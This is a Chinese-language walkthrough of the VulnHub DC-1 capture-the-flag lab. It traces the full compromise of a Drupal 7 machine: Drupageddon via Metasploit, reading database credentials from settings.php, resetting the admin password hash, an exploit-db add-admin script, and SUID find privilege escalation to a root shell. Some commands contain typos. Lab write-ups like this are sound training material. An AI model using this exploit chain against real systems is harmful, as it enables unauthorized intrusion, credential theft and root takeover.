配置信息:
靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
靶机:DC1 (VirtualBox) IP:192.168.67.200
攻机:Kali (Local) IP:192.168.67.109
目标:获取5个flag
开始游戏:
nmap -sn 192.168.67.0/24
获取目标IP地址:192.168.67.200
扫描目标信息:
nmap -A -p- 192.168.67.200
获取目标开放端口:22 [ssh] || 80[http] || 111[rpc]
获取目标系统信息:Linux 3.2 - 3.16
发现开放80端口,因此尝试登录网页,浏览器输入:http://192.168.67.200
左上方发现CMS为Drupal
CMS:Drupal7
Web servers:Apache2.2.22
Programming languages:PHP5.4.45
Operating system:Debian
JavaScript libraries:JQuery1.4.4 jQuery UI1.8.7
使用 wappalyzer 插件确认获取网站相关信息:
注:Wappalyzer是一款能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数的网站技术分析插件
确认 CMS 为 Drupal,利用msfconsole获取meterpreter:(use rank:excellent)
search drupal
use exploit/multi/http/drupal_drupageddon
show options
set RHOSTS 192.168.67.200
exploit
在meterpreter下获取交互式反弹shell:
meterpreter > shell
python -c 'import pty;pyt.spawn("\bin\sh")'
$ ls
输入命令 ls 发现有一个 flag1.txt,果断查看它,这就得到了flag1
$ls
ls
COPYRIGHT.txt MAINTAINERS.txt includes robots.txt web.config
INSTALL.mysql.txt README.txt index.php scripts xmlrpc.php
INSTALL.pgsql.txt UPGRADE.txt install.php sites
INSTALL.sqlite.txt authorize.php misc themes
INSTALL.txt cron.php modules update.php
LICENSE.txt flag1.txt profiles user
$cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you
每一个好的 CMS 都需要一个配置文件,你也如此。
根据falg1的提示,利用搜索引擎查询Drupal的配置文件?
得到一个地址:/sites/default/settings.php —— 利用 more 查看全部信息
获取 flag2,这就得到了第二个 flag2
$more sites/default/settings.php
more sites/default/settings.php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
暴力破解和字典攻击并不是取得访问权限的唯一方式(你需要访问权限),利用这些凭证你能做什么?
这是 flag2 给我们留下的信息,再回看该配置文件,会发现这里有关于数据库的详细信息:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
尝试进入 mysql :
$ mysql -h localhost -u dbuser -p
mysql -h localhost -u dbuser -p
Enter password: R0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
查询有哪些表时,可以很明显的看到有 users 这个表,果断 select 一发再说
这就得到了用户名和一串奇奇怪怪的密码,再次利用搜索引擎,可搜索:drupal7忘记密码怎么办?drupal7如何重置密码?drupal7如何修改密码?类似这些问题,让开发者或研究人士告诉我们答案
还真告诉了,直接重置管理员密码登录。
exit
$ls
$php ./scripts/password-hash.sh 123456
mysql -h localhost -u dbuser -p
Enter password:R0ck3t
use drupaldb;
update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
登录成功
有时直接修改太过明目张胆,那么有没有较隐蔽的方法呢?有什么比较隐蔽的方法能够也是以管理员的身份去登录的呢?要不试试添加一个管理员帐号?
首先得知道版本号,看能否利用,一般在modules/system/system.info可以看到版本号,如果不知道,利用搜索引擎也可得知这一信息:
cat modules/system/system.info
得到该Drupal的版本为7.24
在kali上查询是否存在添加管理员漏洞可利用:
searchexploit drupal
发现有 Add Admin User 可以利用且版本符合条件
copy一份到家目录下,随后添加一个具有管理员权限的账户
cp /usr/share/exploitdb/exploits/php/webapps/34992.py /root/34992.py
cd ~
python 34992.py -h
python 34992.py -t http://192.168.67.200 -u whoami -p 123456
登录成功
随后浏览页面[每个按钮都去点],看有无新发现,在find content找到了flag3
点击 flag3,可以获得flag3详细信息:
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来隐藏的内容。
很明显的提示:find+perms+exec 命令用来提权
首先利用 find 命令查看有哪些 suid 命令:
find / -perm -4000
利用 find 提权,find 提权有两种方式:
/*这是第一种*/
find ./ acce -exec '/bin/sh' \;
/*这是第二种*/
touch bcce
find bcce -exec '/bin/sh' \;
这就拿到了 root 权限,查找有无flag4
可以发现 flag4 是一个用户...
find / -name "flag4
cd /home/flag4
cat flag4.txt
你能利用同样的方法用root权限找到或访问到flag吗?
貌似我们已经进入了root环境下,竟然flag4在家母录下,那么flag5会不会在root目录下?
—— 找到 flag5:thefinalflag
游戏结束
总结:
0:MSF 漏洞模块利用
1:配置文件
2:搜索引擎的合理应用
3:提权